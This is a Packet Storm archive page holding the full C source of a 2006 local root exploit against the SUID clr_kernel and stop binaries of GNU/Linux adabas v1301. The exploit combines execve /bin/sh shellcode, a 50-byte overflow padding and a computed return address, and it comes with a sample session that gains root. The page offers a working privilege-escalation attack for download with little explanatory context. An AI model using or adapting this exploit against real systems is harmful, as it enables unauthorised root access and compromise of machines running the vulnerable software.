exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-GNU-adabas.c

prdelka-vs-GNU-adabas.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

GNU/Linux adabas v1301 universal local root exploit. Standard stack overflow in the command line arguments of SUID root(default) clr_kernel & stop bins. The exploit calculates the value to use for return address.

tags | exploit, overflow, local, root
systems | linux
SHA-256 | ed833915fb367c22a24bae21eeb3b2964eb4dfac2a260b2bcaab81b34fb8697b

prdelka-vs-GNU-adabas.c

Change Mirror Download
/* GNU/Linux adabas v1301 universal local root exploit
* ===================================================
* Standard stack overflow in the command line arguements
* of SUID root(default) clr_kernel & stop bins. The
* exploit calculates the value to use for return address.
*
* Example use.
*
* matt@debian:/adabas/aad/v1301/pgm$ id
* uid=1001(matt) gid=1001(matt) groups=1001(matt),100(users)
* matt@debian:/adabas/aad/v1301/pgm$ ./exploit ./stop
* [ GNU/Linux adabas v1301 universal local root exploit
* [ Using return address 0xbfffffd1
* sh-2.05a# id
* uid=1001(matt) gid=1001(matt) euid=0(root) groups=1001(matt),100(users)
*
* greets to kokanin my DTORS friend for showing me this bug.
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68""//sh""\x68""/bin""\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc,char* argv[])
{
printf("[ GNU/Linux adabas v1301 universal local root exploit\n");
if(argc < 2)
{
printf("Error: [path]\n");
exit(0);
}
long eip = 0x41414141;
char* buffer = malloc(50 + sizeof(eip) + strlen(shellcode));
int i;
long ptr = (long)buffer;
strncat(buffer," ",1);
for(i = 1;i <= 50;i++)
{
strncat(buffer,"A",1);
}
ptr = ptr + 50;
memcpy((char*)ptr,(char*)&eip,4);
strncat(buffer,shellcode,strlen(shellcode));
eip = 0xc0000000 -4 -strlen(argv[1]) -1 -strlen(shellcode) -1;
memcpy((char*)ptr,(char*)&eip,4);
char *env[] = {"DBROOT=heh",NULL};
printf("[ Using return address 0x%x\n",eip);
execle(argv[1],argv[1],buffer,NULL,env);
exit(0);
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close